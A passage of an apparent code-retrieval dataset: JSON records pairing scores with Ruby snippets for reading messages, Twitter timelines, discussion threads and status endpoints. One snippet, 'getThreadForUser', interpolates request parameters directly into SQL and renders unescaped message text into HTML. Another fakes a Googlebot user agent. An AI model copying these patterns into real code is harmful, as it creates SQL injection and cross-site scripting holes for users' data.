are not authorized with Twitter. Please use 'twitter authorize' first to use this feature.\"\n else\n report_oauth_missing(m, \"I cannot retrieve your friends status\")\n end\n return false\n end\n nick = params[:nick]\n end\n\n if not nick\n m.reply \"you should specify the username of the twitter to use, or identify using 'twitter authorize'\"\n return false\n end\n\n count = friends ? @bot.config['twitter.friends_status_count'] : @bot.config['twitter.status_count']\n if show_reply\n request_count = count\n else \n request_count = [ count*5,50 ].max\n end\n user = URI.escape(nick)\n # receive the public timeline per default (this works even without an access_token)\n uri = \"https://api.twitter.com/1/statuses/user_timeline.xml?screen_name=#{user}&count=#{request_count}&include_rts=true\"\n if @has_oauth and @registry.has_key?(m.sourcenick + \"_access_token\")\n if friends\n #no change to count variable\n uri = \"https://api.twitter.com/1/statuses/friends_timeline.xml?count=#{request_count}&include_rts=true\"\n end\n response = @access_token.get(uri).body\n else\n response = @bot.httputil.get(uri, :cache => false)\n end\n debug response\n\n texts = []\n\n if response\n begin\n rex = REXML::Document.new(response)\n rex.root.elements.each(\"status\") { |st|\n # month, day, hour, min, sec, year = st.elements['created_at'].text.match(/\\w+ (\\w+) (\\d+) (\\d+):(\\d+):(\\d+) \\S+ (\\d+)/)[1..6]\n # debug [year, month, day, hour, min, sec].inspect\n # time = Time.local(year.to_i, month, day.to_i, hour.to_i, min.to_i, sec.to_i)\n time = Time.parse(st.elements['created_at'].text)\n now = Time.now\n # Sometimes, time can be in the future; invert the relation in this case\n delta = ((time > now) ? time - now : now - time)\n msg = st.elements['text'].to_s + \" (#{Utils.secs_to_string(delta.to_i)} ago via #{st.elements['source'].to_s})\"\n author = \"\"\n if friends\n author = Utils.decode_html_entities(st.elements['user'].elements['name'].text) + \": \" rescue \"\"\n end\n texts << author+Utils.decode_html_entities(msg).ircify_html\n }\n if friends\n # friends always return the latest 20 updates, so we clip the count\n texts[count..-1]=nil\n end\n rescue\n error $!\n if friends\n m.reply \"could not parse status for #{nick}'s friends\"\n else\n m.reply \"could not parse status for #{nick}\"\n end\n return false\n end\n if !show_reply\n nonreplytexts = texts.grep(/^[^@]/)\n if nonreplytexts.length > 0\n texts = nonreplytexts\n end\n end\n # Make sure we have the right number\n texts[count..-1]=nil\n if texts.empty?\n m.reply \"No status updates!\"\n else\n m.reply texts.reverse.join(\"\\n\")\n end\n return true\n else\n if friends\n rep = \"could not get status for #{nick}'s friends\"\n rep << \", try asking in private\" unless m.private?\n else\n rep = \"could not get status for #{nick}\"\n end\n m.reply rep\n return false\n end\n end", "title": "" }, { "docid": "05009e5c607705497825f56ea249128d", "score": "0.48482305", "text": "def show\n @conversation = current_user.mailbox.conversations.find(params[:id])\n @conversation.mark_as_read(current_user)\n\n respond_with(@conversation)\n end", "title": "" }, { "docid": "c4dbab0b11b76b5ca240af36e582a75a", "score": "0.4793145", "text": "def mark_read id\n logged_in?\n post('/api/read_message', body: {id: id, uh: @modhash, api_type: 'json'})\n end", "title": "" }, { "docid": "fd871df29ab202eda0bd017968e7ec47", "score": "0.47832885", "text": "def read?(_user_id)\n conversation.conversation_members.where(user_id: _user_id).take.last_seen > created_at\n end", "title": "" }, { "docid": "efd19322d800672cb12885077811f72a", "score": "0.47742572", "text": "def getThreadForUser\n allMessages = Message.where(\"receiver_id = '#{params[:user_id]}' OR \n receiver_id = '#{current_user.id}' AND\n sender_id = '#{current_user.id}' OR\n sender_id = '#{params[:user_id]}'\"\n ).order(\"created_at asc\")\n sender = User.find(params[:user_id])\n sender_name = sender.first_name + \" \" + sender.last_name\n initialHTML = \"<div class=\\\"message-thread\\\" id = \\\"thread#{params['user_id']}\\\" style=\\\"display: none\\\">\"\n middleHTML = \"\"\n allMessages.each do |message|\n if (message.sender_id == current_user.id.to_s)\n bubble = \"left\"\n user_name = current_user.first_name + \" \" + current_user.last_name\n else\n bubble = \"right\"\n user_name = sender_name\n end\n middleHTML = middleHTML + \"<div class=\\\"message bubble-#{bubble}\\\"> <label class=\\\"message-user\\\">#{user_name}</label> <label class=\\\"message-timestamp\\\">#{time_ago_in_words(message.created_at)} ago</label> <p>#{message.message}</p></div>\"\n end\n endingHTML = \"</div> </div>\"\n respond_to do |format|\n format.json { render :json=> { :chatHistory => initialHTML + middleHTML + endingHTML}}\n end\n end", "title": "" }, { "docid": "95cd7db5facce0d2d9215d0c995f7929", "score": "0.47635922", "text": "def read_messages\n @useConversations = Message.where(\"user_id = (?)\", current_user.id).pluck(:conversation_id)\n if @useConversations.count > 0\n @useConversations = @useConversations.uniq # Unique\n @useConversations = @useConversations.map(&:inspect).join(', ')\n #@updatemsg = Message.where(\"user_id != (?) and conversation_id IN (?)\", current_user.id, @useConversations).update_all(:mark_as_read => true)\n @updatemsg = Message.where(\"user_id != #{current_user.id} and conversation_id in (#{@useConversations})\").update_all(:mark_as_read => true)\n session[:mark_messages] = 0 # Mark as read messages\n end\n end", "title": "" }, { "docid": "4048ba6f9931cc34c345950f9630425f", "score": "0.4763374", "text": "def show\n @responses = @bbs_thread.responses.order(\"updated_at DESC\").page(params[:page])\n @response = @bbs_thread.responses.build\n read_res_session\n end", "title": "" }, { "docid": "ab5cc61c7cf77139657d3a82eedd30ed", "score": "0.47631186", "text": "def unread_topics user\r\n topics.find_all{|topic| topic.unread_comment?(user) }\r\n end", "title": "" }, { "docid": "54fc35943e803914ce0e266169aa8079", "score": "0.47580352", "text": "def get_threaded_discussion_topic(course_id, thread_id, topic_id, use_source_domain = false)\r\n if !use_source_domain\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_ % [course_id, thread_id, topic_id]\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_USESOURCEDOMAIN % [course_id, thread_id, topic_id]\r\n end\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "2af82c1945882397c43e6c9934174c4c", "score": "0.47548142", "text": "def get_unread_message_count(user)\n username = Digest::MD5.hexdigest(user.id.to_s)\n begin\n response = RestClient.get(\"#{DOMAIN}/#{ORG}/#{APP}/users/#{username}/offline_msg_count\",\n \"Authorization\" => \"Bearer #{access_token}\",\n :content_type => :json,\n :accept => :json\n )\n if response.code == 200\n p response\n\n body = JSON.parse(response.body)\n p body\n end\n rescue => e\n puts e.response\n end\n end", "title": "" }, { "docid": "2dfcf9238f725d4856dd88ac23effb01", "score": "0.47256315", "text": "def user_read?(user_id)\n return false if user_id.nil?\n\n load_from_server if fault?\n\n @read.include?(user_id)\n end", "title": "" }, { "docid": "f7689344f994843575997328f4851688", "score": "0.47103783", "text": "def read_status(scan_id, read)\n response = @client.put \"scans/#{scan_id}/status\", read: read\n verify response,\n not_found: 'A scan with that ID could not be located.'\n end", "title": "" }, { "docid": "d292cf9ca11aed8db278bec4a81d0e29", "score": "0.47062755", "text": "def show\n @my_thread = current_user.organization.my_threads.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_thread }\n end\n end", "title": "" }, { "docid": "7cc5b278ca63b80a73b82f3d04dfbd05", "score": "0.46950313", "text": "def index\n @page_title = \"Messages\"\n @message_threads = MessageThread.related_to(current_user)\n @message_thread = @message_threads.first\n if @message_thread\n @message_thread.mark_read!(current_user)\n end\n end", "title": "" }, { "docid": "19d3a50fd82f9a5bac3c5bd79f2de790", "score": "0.46949956", "text": "def current_user_can_read_user\n @user = User.find_by_param(params[:user_param])\n bounce_user unless @user && @user.can_read?(current_user)\n end", "title": "" }, { "docid": "0a26566364e480d9a88ab0ffdce316d0", "score": "0.4678678", "text": "def get_read_access( u)\n \n return (u == self.user) || (self.public)\n \n \n end", "title": "" }, { "docid": "705f7bf948fbea83d5ca0fb07d124a84", "score": "0.4662776", "text": "def get_thread_by_context(username, job_key, application_id, context = 'Interviews')\n $LOG.i \"running \" + __method__.to_s\n @client.get '/mc/v1/contexts/' + username + '/' + context + ':' + job_key + ':' + application_id\n end", "title": "" }, { "docid": "3b4a405e260f295597a498baa937a428", "score": "0.46488148", "text": "def read\n @message = Message.find(params[:id])\n @message.read(current_user)\n respond_to do |format|\n format.html # read.html.erb\n format.json { render json: @message }\n end\n end", "title": "" }, { "docid": "e934f9f1d279bf6e48a6299bf6130a72", "score": "0.46433765", "text": "def get_presence_status(user)\n make_request(:get, \"/presence/#{user}/status\").parsed_response\n end", "title": "" }, { "docid": "797d5bdd3048481770b0446bf3ad7d8d", "score": "0.46375504", "text": "def read user_id\n messages.unread(user_id).each do |m|\n m.read = true\n m.save\n end\n end", "title": "" }, { "docid": "f7d114bbe1c97d7859bcbf70db326b24", "score": "0.4624405", "text": "def get_redemption_request_statuses\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/utilities/redemption-request-statuses'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "3b46563de027c7e239f9b45fd052ee25", "score": "0.46202964", "text": "def readProject\n @allMyPost = Project.where(\"status = :status\", { status: \"0\"}).limit(6).order(id: :desc)\n if params[:view]\n @project = Project.find_by(projectid: params[:view], status: \"0\")\n @uthor = User.find_by_userid(@project['userid'])\n #if [email protected]?\n if @project\n render 'readProjectOffline'\n else\n redirect_to homePage_path\n end\n else\n redirect_to homePage_path\n end\n end", "title": "" }, { "docid": "f75bd060898d190e3929045fd97dbb47", "score": "0.46090752", "text": "def read_lesson(date, period)\n response = @mech.post(URLS[:read_lesson], {\n userId: @user_id,\n date: date.strftime(\"%m/%d/%Y\"),\n period: period\n })\n return JSON.parse(response.content)[\"ReturnValue\"]\n end", "title": "" }, { "docid": "c15df653015b8109f4529bcb9a173743", "score": "0.4609037", "text": "def user_thread_subscription(thread_id, options = {})\n get \"notifications/threads/#{thread_id}/subscription\", options\n end", "title": "" }, { "docid": "c0117917e8cf95d7c901879dc7a525f6", "score": "0.4589904", "text": "def get_assessment_status(id, params = {})\n get \"/api/v2/projects/#{id}/participants/status/#{params[:guid]}\", params\n end", "title": "" }, { "docid": "1aa283eaf8d7eaa0bebdf398d0280491", "score": "0.4557892", "text": "def read_response(command, read_timeout = self.timeout)\n header, body = read_data(read_timeout)\n check_rpc_error!(header, true)\n if COMMANDS[command].include?(:body)\n Response.new(header, body)\n else\n Response.new(header)\n end\n end", "title": "" }, { "docid": "fb6b7ade640947071c84587cf75862ef", "score": "0.45481518", "text": "def can_read?(user)\n (self.user == user) || course.can_edit?(user)\n end", "title": "" }, { "docid": "94c059cce7c48dcb59a8c930a6ac7e1b", "score": "0.45397305", "text": "def delete_threaded_discussion_response(course_id, thread_id, topic_id, response_id)\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_ % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n delete(relative_url)\r\n end", "title": "" }, { "docid": "f2052b9a94cc135fb354b161bbfc2622", "score": "0.4502641", "text": "def show\n \n @my_thread = MyThread.find(params[:id])\n @thread_comments = @my_thread.thread_comments\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thread_comment }\n end\n end", "title": "" }, { "docid": "d5e199aeb2e08297df5415271162a3fc", "score": "0.44980067", "text": "def get_current_exam_attempt(user_id, course_id, exam_id)\r\n response = get_exam_attempts(user_id, course_id, exam_id)\r\n unless response.error?\r\n attempts_json = response.content\r\n json_obj =JSON.parse(attempts_json)\r\n attempts = json_obj['attempts'] || []\r\n current_attempt = nil\r\n\r\n current_attempt = attempts.find { |attempt| !attempt['isCompleted'] }\r\n\r\n if !current_attempt.nil? && !current_attempt.empty?\r\n attempt = { 'attempt' => current_attempt }\r\n response.content = attempt.to_json\r\n else\r\n response.status_code = LearningStudioCore::BasicService::HTTPStatusCode::NOT_FOUND\r\n response.content = \"\"\r\n end\r\n end\r\n\r\n response\r\n end", "title": "" }, { "docid": "01c1ca2cc3624dcfa58d2dcd50023f79", "score": "0.44966245", "text": "def get_threaded_discussions(course_id, use_source_domain = false)\r\n if !use_source_domain\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS % [course_id]\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_USESOURCEDOMAIN % [course_id]\r\n end\r\n\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "1764418d17c4a87d725d7ee4f8b29b2d", "score": "0.44951627", "text": "def can_read?([email protected])\n effective_acl.can_read?(user)\n end", "title": "" }, { "docid": "3edd78845cb4498c13badc342315afc1", "score": "0.44877037", "text": "def show\n @complaint.mark_as_read! for: current_user\n @unread_complain_ids = Complaint.unread_by(current_user).map(&:id)\n end", "title": "" }, { "docid": "54586e6620fb161a6f20443086329da0", "score": "0.44770083", "text": "def requested_connection_status_for(user)\n connection_request = ConnectionRequest.find_by(sender_id: self.id, receiver_id: user.id)\n return :none if connection_request.nil?\n connection_request.status.to_sym\n end", "title": "" }, { "docid": "607e65b4387b8c3e239322e0ba516bf3", "score": "0.44697347", "text": "def unread_messages\n @user_wise_unread_messages = current_user.user_messages\n .where(is_read: false)\n .joins(:message)\n .group('messages.user_id').count\n end", "title": "" }, { "docid": "00bc2ade4dc7ea7e45ec28ad79499eea", "score": "0.44537556", "text": "def has_unread_messages?(user)\n latest_message = self.last_message\n if latest_message\n chat_participation = self.chat_participations.where(user_id: user.id).first\n chat_participation.try(:unread_message?, latest_message)\n end\n end", "title": "" }, { "docid": "8af13b60a312231539d5ae267ecdd185", "score": "0.4451851", "text": "def mark_as_read\n DeterLab.mark_notifications(current_user_id, [ params[:id] ], [ { isSet: true, tag: Notification::READ } ])\n render text: 'ok'\n end", "title": "" }, { "docid": "6460b3dea9d0e933d5c77fb63b4f223a", "score": "0.44505662", "text": "def mark_topic_as_unread_courses(course_id,topic_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"topic_id is required\" if topic_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :topic_id => topic_id\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/discussion_topics/{topic_id}/read\",\n :course_id => course_id,\n :topic_id => topic_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:delete, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:delete, path, query_params, form_params, headers)\n page_params_store(:delete, path)\n response\n \n end", "title": "" }, { "docid": "3f2c26cb304067a1f9f515de05e14e64", "score": "0.44484186", "text": "def read_status(message)\n\n @dbaccess.write_to_log(2,'handle read status')\n\n #$bot_control.read_hw_status()\n\n return_message =\n {\n :message_type => 'read_status_response',\n :time_stamp => Time.now.to_f.to_s,\n :confirm_id => message.time_stamp,\n\n :status => Status.current.info_status,\n :status_time_local => Time.now,\n :status_nr_msg_received => $info_nr_msg_received,\n :status_movement => Status.current.info_movement,\n :status_last_command_executed => Status.current.info_command_last,\n :status_next_command_scheduled => Status.current.info_command_next,\n :status_nr_of_commands_executed => Status.current.info_nr_of_commands,\n :status_current_x => Status.current.info_current_x,\n :status_current_y => Status.current.info_current_y,\n :status_current_z => Status.current.info_current_z,\n :status_target_x => Status.current.info_target_x,\n :status_target_y => Status.current.info_target_y,\n :status_target_z => Status.current.info_target_z,\n :status_end_stop_x_a => Status.current.info_end_stop_x_a,\n :status_end_stop_x_b => Status.current.info_end_stop_x_b,\n :status_end_stop_y_a => Status.current.info_end_stop_y_a,\n :status_end_stop_y_b => Status.current.info_end_stop_y_b,\n :status_end_stop_z_a => Status.current.info_end_stop_z_a,\n :status_end_stop_z_b => Status.current.info_end_stop_z_b,\n\n :status_pin_8 => Status.current.info_pin_8,\n :status_pin_9 => Status.current.info_pin_9,\n :status_pin_10 => Status.current.info_pin_10,\n :status_pin_13 => Status.current.info_pin_13\n }\n\n @dbaccess.write_to_log(2,\"return_message = #{return_message}\")\n\n message.handler.send_message(message.sender, return_message)\n\n end", "title": "" }, { "docid": "ddbd7dd0b723a7f941be4db48a085edd", "score": "0.44449672", "text": "def unread_messages user_id\n messages.unread(user_id)\n end", "title": "" }, { "docid": "90e76fbc2175a32e1144a0c2d021da2c", "score": "0.44419652", "text": "def show\n\n\t\t@conversation = Conversation.find(params[:id])\n\n\t\tredirect_to \"/messages\" and return if [email protected]?(current_teacher.id.to_s)\n\n\t\t@other = Teacher.find(@conversation.get_other(current_teacher.id.to_s))\n\n\t\t@unread = @conversation.unread_messages(current_teacher.id.to_s)\n\n\t\t@title = \"#{@other.full_name} - Messages\"\n\n\t\[email protected][current_teacher.id.to_s] = 0\n\n\t\[email protected]\n\n\t\t@messages = @conversation.get_messages\n\n\t\tsrc = Mongo.log(current_teacher.id.to_s,\n\t\t\t\t\t\t__method__.to_s,\n\t\t\t\t\t\tparams[:controller].to_s,\n\t\t\t\t\t\[email protected]_s,\n\t\t\t\t\t\tparams)\n\n\t\[email protected] do |message|\n\n\t\t\tmessage.add_read(current_teacher) if !message.read_by?(current_teacher.id.to_s)\n\n\t\t\tMongo.log(\tcurrent_teacher.id.to_s,\n\t\t\t\t\t__method__.to_s,\n\t\t\t\t\tparams[:controller].to_s,\n\t\t\t\t\tmessage.id.to_s,\n\t\t\t\t\tparams,\n\t\t\t\t\t{:src => src})\n\n\t\tend\n\n\tend", "title": "" }, { "docid": "e00c94a576c2805c9ac13cdb85ae64c0", "score": "0.44404525", "text": "def user_timeline(user = nil, params = {})\n args = [user, params]\n get path_from_args('statuses/user_timeline', args), params_from_args(args)\n end", "title": "" }, { "docid": "adf2fecdcc28ea6eb0ff19d47203003b", "score": "0.44378498", "text": "def can_read?(user)\n self == user\n end", "title": "" }, { "docid": "adf2fecdcc28ea6eb0ff19d47203003b", "score": "0.44378498", "text": "def can_read?(user)\n self == user\n end", "title": "" }, { "docid": "adf2fecdcc28ea6eb0ff19d47203003b", "score": "0.44378498", "text": "def can_read?(user)\n self == user\n end", "title": "" }, { "docid": "4123b8d02128f74e9d426c95f6423540", "score": "0.44290215", "text": "def reply_to_thread(username, thread_id, params = {})\n $LOG.i \"running \" + __method__.to_s\n @client.post '/mc/v1/threads/' + username + '/' + thread_id, params\n end", "title": "" }, { "docid": "4258d60219d0842ebf2661da741cbd85", "score": "0.4422967", "text": "def read(o)\n puts \"#{@user} received a tweet from #{o.getUser}: #{o.getT}\\n\"\n end", "title": "" }, { "docid": "44c1e0e1784667cd14a0e3a2ae394d3e", "score": "0.44174773", "text": "def show\n @user = User.find(params[:user_id])\n @message = @user.messages.find(params[:id])\n @message.update_attribute(:read, true)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: user_messages_path(@user) }\n end\n end", "title": "" }, { "docid": "317d50352ffa57da43a6eed41965f9ae", "score": "0.441675", "text": "def get_discussing_users(group_id)\n list_discussion_topics = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/discussion_topics\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n discussion_data = list_discussion_topics.parsed_response\n discussion_id = nil\n\n discussion_data.each do |discussion_info|\n discussion_id = discussion_info[\"id\"]\n end\n\n list_discussion_entries = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/discussion_topics/#{discussion_id}/entries\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n discussion_entries_data = list_discussion_entries.parsed_response\n arr_of_discussing_user_ids = Array.new\n\n discussion_entries_data.each do |discussion_entries_info|\n arr_of_discussing_user_ids.push discussion_entries_info[\"user_id\"]\n end\n\n return arr_of_discussing_user_ids\nend", "title": "" }, { "docid": "ba73a56e2f28bd864acd5f8b79d38db6", "score": "0.44160923", "text": "def current_user_joined(usr)\n found = nil\n begin\n found = self.user_sub_reddits.where(user_id: usr.id).first.status \n rescue Exception => e\n end\n \tfound\n end", "title": "" }, { "docid": "aeb3f712de9f96de23ca1f3b6e3648f6", "score": "0.4410266", "text": "def show\n @t = DThread.find(params[:id])\n @id = @t.user_id\n @uss = User.find_by_id(\"#{@id}\") \t\t\t\t\n\t\t@crs = \tCourse.find_by_courseCode(@t.courseCode)\n\t\t@path = ''\n\t\t@tg = Tag.where(:d_thread_id => @t.id)\n\t\t$CURRENT_DTHREAD = @t.id\n\t\t@u = $CURRENT_USER\n\t\t\n\t\tif @crs\n\t\t\t@path = '/courses/' + @crs.id.to_s() \n else\n \t@path = '/courses/'\n end\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @d_thread }\n end\n end", "title": "" }, { "docid": "87d1922c54a7631ba80eb65ce8e69ce4", "score": "0.44072822", "text": "def pending\n @topics = if current_course_user&.student?\n unread_topics_for_student\n else\n all_topics.pending_staff_reply\n end\n\n render_topics_list_data\n end", "title": "" }, { "docid": "cb5eb4bdf696f848950143e8d4cf49d9", "score": "0.44040617", "text": "def show\n @response = Response.new\n @thread_board_id = params[:id]\n \n if params[:type].blank?\n # 投稿コメント取得\n @responses = Response.getResponses(@thread_board_id)\n else\n # 投稿コメント取得\n @responses = Response.getLimitResponses(@thread_board_id, @limit_count = 5)\n end\n \n \n @response_num = 1\n unless @responses.blank?\n @response_num = @responses.last.response_num + 1\n end\n end", "title": "" }, { "docid": "456821828d63493242227e00c9b0004e", "score": "0.43981266", "text": "def show\n @chat_thread = ChatThread.find(params[:id])\n # 既読つける\n readChat(@chat_thread.id, @chat_thread.chats.last.id) if @chat_thread.chats.size > 0\n render json: @chat_thread.chats, each_serializer: Rest::ChatSerializer\n end", "title": "" }, { "docid": "d03c399d327f6fb1d88549c870062500", "score": "0.43974072", "text": "def show_discussion_board?(participant, user)\n show_restricted_info(participant, user)\n end", "title": "" }, { "docid": "9ffdeee7001636fb02d0cddd7f243a74", "score": "0.4394767", "text": "def get_last_readed_user_page\n return nil if current_user.blank?\n return nil unless params[:page].blank?\n user_last_page = nil\n\n latest_readed_post = LogReadMark.where(user_id: current_user.id, topic_id: @topic.id).first\n return nil unless latest_readed_post\n\n page_groups = @topic.posts.pluck(:id).in_groups_of(Post::PER_PAGE)\n page_groups.each_with_index { |group, page| user_last_page = page and break if group.include?(latest_readed_post.post_id) }\n user_last_page +=1 if user_last_page\n\n user_last_page\n end", "title": "" }, { "docid": "36d9214c247039b2f27c4145ac070e18", "score": "0.43852085", "text": "def query\n url = \"/statuses/friends_timeline.xml\"\n uri = URI.parse(@source.url+url)\n\n # Login authentication. The logic is taken from basecamp_projects.rb\n req = Net::HTTP::Get.new(uri.path, 'Accept' => 'application/xml')\n req.basic_auth @source.login, @source.password\n\n res = Net::HTTP.start(uri.host,uri.port) do |http|\n http.request(req)\n end\n xml_data = XmlSimple.xml_in(res.body); \n @result = xml_data[\"status\"]\n end", "title": "" }, { "docid": "30ac538ec992ebc7d125694bd6f562ed", "score": "0.43731135", "text": "def fetch_status\n connection = get_connection\n response = connection.get do |req|\n req.url STATUS_BASE\n req.params['f'] = :json\n req.params['test'] = test_id\n end\n response_body = Hashie::Mash.new(JSON.parse(response.body))\n\n # Check 3 possible scenarios (code from Susuwatari gem)\n case response_body.data.statusCode.to_s\n when /1../\n @status = :running\n when \"200\"\n @status = :completed\n fetch_result\n when /4../\n @current_status = :error\n end\n end", "title": "" }, { "docid": "af0204896d483ebae28dfa57e7a739cb", "score": "0.43665853", "text": "def get_exam_attempt_summary(user_id, course_id, exam_id, attempt_id)\r\n get(Path::USERS_COURSES_EXAMS_ATTEMPTS_SUMMARY % [user_id, course_id,\r\n exam_id, attempt_id])\r\n end", "title": "" }, { "docid": "4dfee356694b6176ea817ea6ebce9deb", "score": "0.43570054", "text": "def downloadComments(username, cookies)\n url = 'https://news.ycombinator.com/threads?id=' + username\n ret = RestClient.get url, :user_agent => \"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\", :cookies => cookies\n return ret\nend", "title": "" }, { "docid": "4b27cae61d2c19e895f0be141c5d05f0", "score": "0.43548533", "text": "def read_message(message_id)\n message =\n if self.is_client?\n self.messages.find(message_id)\n elsif self.is_employee?\n self.client.messages.find(message_id)\n end\n if self.is_client?\n message.update_columns(is_read: true)\n else\n u_ids = message.message_status.user_ids.push(self.id)\n logger.info u_ids\n message.message_status.update_columns(user_ids: u_ids)\n end\n end", "title": "" }, { "docid": "f593eaa20ecb3dc18e8302303abcb462", "score": "0.43531856", "text": "def get_tweet\n\t\tbegin\n\t return $client.status(tweet_id.to_i, tweet_mode: \"extended\")\n\t rescue Twitter::Error\n\t return nil\n\t end\n end", "title": "" }, { "docid": "ca6c31c182bd89cee3d6ec96964cdfbb", "score": "0.43405014", "text": "def get_single_conversation(id,interleave_submissions,auto_mark_as_read,opts={})\n query_param_keys = [\n :interleave_submissions,\n :scope,\n :filter,\n :filter_mode,\n :auto_mark_as_read\n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n raise \"interleave_submissions is required\" if interleave_submissions.nil?\n raise \"auto_mark_as_read is required\" if auto_mark_as_read.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id,\n :interleave_submissions => interleave_submissions,\n :auto_mark_as_read => auto_mark_as_read\n )\n\n # resource path\n path = path_replace(\"/v1/conversations/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response\n \n end", "title": "" }, { "docid": "1bfd1e4aafb0f2a22dbc5d71af872dbb", "score": "0.43393663", "text": "def unread_discussions\n discussions.find_unread_by(self)\n end", "title": "" }, { "docid": "4d5e7f79fc6484a18c4b43a70a3ec3f1", "score": "0.43387422", "text": "def edit_discussion(params, userid)\n db = connect()\n disk = db.execute('SELECT * FROM discussions WHERE Id=? AND UserId=?', params[\"id\"], userid)\n if disk != []\n return disk.first\n else\n return false\n end\n end", "title": "" }, { "docid": "88427a99bc88a3d30a01c4102899d5b1", "score": "0.43340755", "text": "def get_thread_by_context_last_posts(username, job_key, application_id, context = 'Interviews')\n $LOG.i \"running \" + __method__.to_s\n @client.get '/mc/v1/contexts/' + username + '/' + context + ':' + job_key + ':' + application_id + '/last_posts'\n end", "title": "" }, { "docid": "89e056cb1057c1f585b49f75eb566a0e", "score": "0.43296856", "text": "def get_unread(user)\n list = []\n if unread?(user)\n list.push(self)\n end\n public_replies(user).unread_by(user).each do |reply|\n list.push(reply)\n end\n list\n end", "title": "" }, { "docid": "30c04345958b5b13846fa1ebe602bd8f", "score": "0.43295982", "text": "def get_tweet\r\n begin\r\n\t return $client.status(tweet_id.to_i, tweet_mode: \"extended\")\r\n\t rescue Twitter::Error\r\n\t return nil\r\n\t end\r\n end", "title": "" }, { "docid": "f50688bc229be8b51fd46060935ad730", "score": "0.4319798", "text": "def fetch_status\n connection = @client.connection\n response = connection.get do |req|\n req.url STATUS_BASE\n req.params['f'] = :json\n req.params['test'] = test_id\n end\n response_body = Hashie::Mash.new(JSON.parse(response.body))\n\n set_status(response_body.data.statusCode.to_s, true)\n end", "title": "" }, { "docid": "3c91275f38c50855ad17591d9371a9ef", "score": "0.4316694", "text": "def do_status( channel, content )\n return unless has_on_status?\n id = content.read_long\n code = content.read_long\n message = content.read_string\n language = content.read_string\n call_on_status( driver, id, code, message, language )\n end", "title": "" } ]
b8a1309c01da59989defe6b92dd6ab79
PATCH/PUT /paymentplanfeatures/1 PATCH/PUT /paymentplanfeatures/1.json
[ { "docid": "4a42874ac1a0ffec714a7f7a6fded316", "score": "0.6951661", "text": "def update\n respond_to do |format|\n if @paymentplanfeature.update(paymentplanfeature_params)\n format.html { redirect_to @paymentplanfeature, notice: 'Rate-Function was successfully updated.' }\n format.json { render json: @paymentplanfeature.fieldvalue }\n else\n format.html { render action: 'edit' }\n format.json { render json: @paymentplanfeature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "c3d9f6ff3a556e3fdac2bf6e45bd311b", "score": "0.66894734", "text": "def update\n @panel_planfeature = Panel::Planfeature.find(params[:id])\n\n respond_to do |format|\n if @panel_planfeature.update_attributes(params[:panel_planfeature])\n format.html { redirect_to(@panel_planfeature, :notice => 'Planfeature was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_planfeature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad2fe1f03ed08efe586c231c72c60023", "score": "0.6519805", "text": "def update\n feature = Feature.find(params[:id])\n\n feature.name = params[:name]\n feature.description = params[:description]\n feature.account_slugs = params[:account_slugs]\n feature.enabled_for_all = params[:enabled_for_all]\n\n feature.save!\n\n respond_to do |format|\n format.json {\n render json: {\n feature: feature\n }\n }\n end\n end", "title": "" }, { "docid": "f43441b35d07534f3a5173bd27a9483c", "score": "0.65086675", "text": "def set_paymentplanfeature\n @paymentplanfeature = Paymentplanfeature.find(params[:id])\n end", "title": "" }, { "docid": "a6fe8effb634ca0799fddeb27f27c257", "score": "0.6476268", "text": "def update\n if @plan.update(plan_params)\n render json: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2ced62986b03e923cef891d28c062752", "score": "0.64752555", "text": "def update\n service_plan.update_attributes(service_plan_update_params)\n 